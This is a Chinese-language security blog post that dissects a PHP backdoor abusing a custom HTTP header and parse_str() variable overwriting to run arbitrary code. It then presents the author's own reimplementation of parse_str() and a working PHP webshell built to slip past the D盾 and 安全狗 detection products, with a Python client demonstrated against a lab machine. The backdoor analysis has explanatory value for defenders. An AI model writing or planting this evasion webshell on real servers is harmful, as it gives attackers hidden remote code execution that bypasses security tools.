>我真的太惨了

>外出实习忘记了博客密码

>断更了这么久

>今天终于忍不了了,ssh连上来黑了自己的首页,试图记录点什么

>2019/08/21 --C0d3r1iu

从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子 – 记录日 – C0d3r1iu's Blog

从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子

热度:578℃ 评论:0 发布时间:2019-01-27 收录:已收录

一篇大杂烩

 
引言:我真是不会给文章起名字,纠结死了。
 
Author : C0d3r1iu
Date : 2019-01-27 14:29:37 星期日
 

0x01 前言:

 
今天看到一个后门,自己看了一会儿并没有认出怎么用,后来查找资料复现执行了一下,记录一下:
 

0x02 分析:

 
后门代码是这样的:
 

<? php
$opt_x = $_SERVER['HTTP_X']; 
if(strlen($opt_x)>20) { 
    parse_str($opt_x); 
    $cfg($opt); 
    }
?>

 
首先给 $opt_x 传入 $_SERVER['HTTP_X'](在http头传输X: xxxx 就可以了)

如果长度大于20,则执行 parse_str($opt_x)

parse_str() 的作用是把传入的字符串解析成多个变量

之后就可以通过这个变量覆盖 $cfg 和 $opt 从而执行任意代码了。

 
这后门两个点,分别说一下:

1.$SERVER[HTTP_XXXXXX]

 
经过测试,将XXXX替换成任意大写英文都可以实现通过自定义HTTP头传参,以前没怎么注意过,还以为是改了中间件配置才实现的。

2.parse_str()函数

 
void parse_str ( string $encoded_string [, array &$result ] )

如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

自己根据功能写了一个简易版的parse_str()函数

<?php
function Myparse_str($encode){
//判断参数是否符合要求
    if($encode==''||strpos($encode,"=")==false)
    {
        return null;
    }
//确定变量数量,用于处理多个变量需求
    if(strpos($encode,"&")!==false )
    {
        $encode=explode("&",$encode);
        foreach ($encode as $param)
        {
//限制两个数组,避免多个等号的情况
            $param=explode("=",$param,2);
            $GLOBALS[$param[0]]=$param[1];
        }
    }
//单一变量转换
    else
    {
        $encode=explode("=",$encode,2);
        $GLOBALS[$encode[0]]=$encode[1];
    }
}
?>

PS:以上代码是自己根据功能写出来的替代品,不代表官方是这么实现的。
 

后续:

 
用自己重写的函数弄了个过D盾安全狗的 PHP 后门:

从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子

从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子

<?php
function myparse($encode){
    if($encode==''||strpos($encode,"=")==false)
    {
        return null;
    }
    if(strpos($encode,"&")!==false )
    {
        $encode=explode("&",$encode);
        foreach ($encode as $param)
        {
            $param=explode("=",$param,2);
            $GLOBALS[$param[0]]=$param[1];
        }
    }
    else
    {
        $encode=explode("=",$encode,2);
        $GLOBALS[$encode[0]]=$encode[1];
    }
}
$opt_x = $_SERVER['HTTP_X_FORWARDED_FOR']; 
$index = 'index.html';
$endex = 'endex.html';
if(strlen($opt_x)>20) { 
    myparse($opt_x); 
    @$index($endex); 

    }
?>

 
这种方法不能通过菜刀等工具连接,有点不方便,感觉可以自己扩展一下,于是就花了点功夫写了个 python 客户端。

上传过狗马之后,用 python 运行我们的本地客户端,即可进行诸多操作。
 

下面将其传到我的 window2003 靶机上面进行演示:

 
从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子
 

通过脚本连接:

 
从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子
 

开启虚拟终端:

 
从重写 parse_str() 到过D盾、安全狗 再到造客户端管理的轮子
 
PS : 目前只是个甚至连基础文件管理功能都没写好的小demo,仅作为练手项目,请期待下一个支持兼容各种shell的版本!
 

 

如果你有什么好的建议或者想一起开发,欢迎发邮件交流:admin@recorday.cn

打赏
本文由 C0d3r1iu 创作,除注明转载/出处外,均为本站原创,转载前请注明出处!

Leave a Reply

Your email address will not be published. Required fields are marked *

顶部
护眼
搜索
分享